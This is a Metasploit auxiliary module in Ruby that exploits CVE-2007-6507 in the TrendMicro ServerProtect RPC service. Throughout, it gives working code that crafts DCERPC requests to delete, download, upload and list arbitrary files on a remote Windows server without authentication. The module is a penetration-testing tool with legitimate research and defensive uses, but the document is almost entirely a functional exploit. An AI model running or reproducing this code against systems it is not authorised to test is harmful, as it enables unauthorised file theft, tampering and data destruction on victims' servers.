## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::DCERPC include Rex::Platforms::Windows def initialize(info = {}) super(update_info(info, 'Name' => 'TrendMicro ServerProtect File Access', 'Description' => %q{ This modules exploits a remote file access flaw in the ServerProtect Windows Server RPC service. Please see the action list (or the help output) for more information. }, 'DefaultOptions' => { 'DCERPC::ReadTimeout' => 300 # Long-running RPC calls }, 'Author' => [ 'toto' ], 'License' => MSF_LICENSE, 'Version' => '$Revision$', 'References' => [ [ 'CVE', '2007-6507' ], [ 'OSVDB', '44318' ], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-07-077.html'], ], 'Actions' => [ [ 'delete' ], [ 'download' ], [ 'upload' ], [ 'list' ] ] )) register_options( [ Opt::RPORT(5168), OptString.new('RPATH', [ false, "The remote filesystem path", nil ] ), OptString.new('LPATH', [ false, "The local filesystem path", nil ] ), ], self.class) end def check_option(name) if(not datastore[name]) raise RuntimeError, "The #{name} parameter is required by this option" end end def auxiliary_commands { "delete" => "Delete a file", "download" => "Download a file", "upload" => "Upload a file", "list" => "List files (not recommended - will crash the driver)", } end def run case action.name when 'download' check_option('RPATH') check_option('LPATH') cmd_download(datastore['RPATH'], datastore['LPATH']) when 'upload' check_option('RPATH') check_option('LPATH') cmd_upload(datastore['RPATH'], datastore['LPATH']) when 'delete' check_option('RPATH') cmd_delete(datastore['RPATH']) when 'list' check_option('RPATH') cmd_list(datastore['RPATH']) else print_error("Unknown action #{action.name}") end end def deunicode(str) str.gsub(/\x00/, '').strip end # # Once this function is used, if cmd_download or cmd_upload is called the server will crash :/ # def cmd_list(*args) if (args.length < 1) print_status("Usage: list folder") return end file = Rex::Text.to_unicode(args[0]) data = "\0" * 0x100 data[4, file.length] = file # FindFirstFile resp = serverprotect_rpccmd(131080, data, 0x100) return if not resp if resp.length != 0x108 print_status("An unknown error occured while calling FindFirstFile.") return end ret, = resp[0x104,4].unpack('V') if ret != 0 print_status("An error occurred while calling FindFirstFile #{args[0]}: #{ret}.") return end handle, = resp[4,4].unpack('V') file = deunicode(resp[0x30, 0xd0]) print("#{file}\n") data = "\0" * 0x100 data[0,4] = [handle].pack('V') while true # FindNextFile resp = serverprotect_rpccmd(131081, data, 0x100) return if not resp if resp.length != 0x108 print_status("An unknown error occured while calling FindFirstFile.") break end ret, = resp[0x104,4].unpack('V') if ret != 0 break end file = deunicode(resp[0x30, 0xd0]) print("#{file}\n") end data = "\0" * 0x100 data = [handle].pack('V') # FindClose resp = serverprotect_rpccmd(131082, data, 0x100) end def cmd_delete(*args) if (args.length == 0) print_status("Usage: delete c:\\windows\\system.ini") return end data = Rex::Text.to_unicode(args[0]+"\0") resp = serverprotect_rpccmd(131077, data, 4) return if not resp if (resp.length == 12) ret, = resp[8,4].unpack('V') if ret == 0 print_status("File #{args[0]} successfuly deleted.") else print_status("An error occurred while deleting #{args[0]}: #{ret}.") end end end def cmd_download(*args) if (args.length < 2) print_status("Usage: download remote_file local_file") return end # GENERIC_READ: 0x80000000 # FILE_SHARE_READ: 1 # OPEN_EXISTING: 3 # FILE_ATTRIBUTE_NORMAL: 0x80 handle = serverprotect_createfile(args[0], 0x80000000, 1, 3, 0x80) if (not handle or handle == 0) return end fd = File.new(args[1], "wb") print_status("Downloading #{args[0]}...") # reads 0x1000 bytes (hardcoded in the soft) while ((data = serverprotect_readfile(handle)).length > 0) fd.write(data) end fd.close serverprotect_closehandle(handle) print_status("File #{args[0]} successfuly downloaded.") end def cmd_upload(*args) if (args.length < 2) print_status("Usage: upload local_file remote_file") return end # GENERIC_WRITE: 0x40000000 # FILE_SHARE_WRITE: 2 # CREATE_ALWAYS: 2 # FILE_ATTRIBUTE_NORMAL: 0x80 handle = serverprotect_createfile(args[1], 0x40000000, 2, 2, 0x80) if (handle == 0) return end fd = File.new(args[0], "rb") print_status("Uploading #{args[1]}...") # write 0x1000 bytes (hardcoded in the soft) while ((data = fd.read(0x1000)) != nil) serverprotect_writefile(handle, data) end fd.close serverprotect_closehandle(handle) print_status("File #{args[1]} successfuly uploaded.") end def serverprotect_createfile(file, desiredaccess, sharemode, creationdisposition, flags) data = "\0" * 540 file = Rex::Text.to_unicode(file) data[4, file.length] = file data[524, 16] = [desiredaccess, sharemode, creationdisposition, flags].pack('VVVV') resp = serverprotect_rpccmd(131073, data, 540) return if not resp if (resp.length < 548) print_status("An unknown error occurred while calling CreateFile.") return 0 else handle, = resp[4,4].unpack('V') ret, = resp[544,4].unpack('V') if ret != 0 print_status("An error occured while calling CreateFile: #{ret}.") return 0 else return handle end end end def serverprotect_readfile(handle) data = "\0" * 4104 data[0, 4] = [handle].pack('V') resp = serverprotect_rpccmd(131075, data, 4104) return if not resp if (resp.length != 4112) print_status("An unknown error occurred while calling ReadFile.") return '' else ret, = resp[4108,4].unpack('V') if ret != 0 print_status("An error occured while calling CreateFile: #{ret}.") return '' else br, = resp[4104, 4].unpack('V') return resp[8, br] end end end def serverprotect_writefile(handle, buf) data = "\0" * 4104 data[0, 4] = [handle].pack('V') data[4, buf.length] = buf data[4100, 4] = [buf.length].pack('V') resp = serverprotect_rpccmd(131076, data, 4104) return if not resp if (resp.length != 4112) print_status("An unknown error occurred while calling WriteFile.") return 0 else ret, = resp[4108,4].unpack('V') if ret != 0 print_status("An error occured while calling WriteFile: #{ret}.") return 0 end end return 1 end def serverprotect_closehandle(handle) data = [handle].pack('V') resp = serverprotect_rpccmd(131074, data, 4) return if not resp if (resp.length != 12) print_status("An unknown error occurred while calling CloseHandle.") else ret, = resp[8,4].unpack('V') if ret != 0 print_status("An error occured while calling CloseHandle: #{ret}.") end end end def serverprotect_rpccmd(cmd, data, osize) if (data.length.remainder(4) != 0) padding = "\0" * (4 - (data.length.remainder(4))) else padding = "" end stub = NDR.long(cmd) + NDR.long(data.length) + data + padding + NDR.long(data.length) + NDR.long(osize) return serverprotect_rpc_call(0, stub) end # # Call the serverprotect RPC service # def serverprotect_rpc_call(opnum, data = '') begin connect handle = dcerpc_handle( '25288888-bd5b-11d1-9d53-0080c83a5c2c', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']] ) dcerpc_bind(handle) resp = dcerpc.call(opnum, data) outp = '' if (dcerpc.last_response and dcerpc.last_response.stub_data) outp = dcerpc.last_response.stub_data end disconnect outp rescue ::Interrupt raise $! rescue ::Exception => e print_error("Error: #{e}") nil end end end